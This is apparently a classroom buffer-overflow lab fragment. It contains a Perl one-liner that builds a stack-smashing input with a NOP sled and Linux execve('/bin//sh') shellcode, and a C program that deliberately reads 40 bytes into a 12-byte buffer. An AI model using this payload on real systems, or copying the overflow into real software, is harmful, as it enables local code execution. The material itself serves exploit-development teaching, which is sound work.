perl -e 'print "A" x 32;print "\x50\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
include include include int bof(FILE *badfile) { char buffer[12]; /* The following statement has a buffer overflow problem */ fread(buffer, sizeof(char), 40, badfile); return 1; } int main(int argc, char **argv) { FILE *badfile; badfile = fopen("badfile", "r"); bof(badfile); printf("Returned Properly\n"); fclose(badfile); return 1; }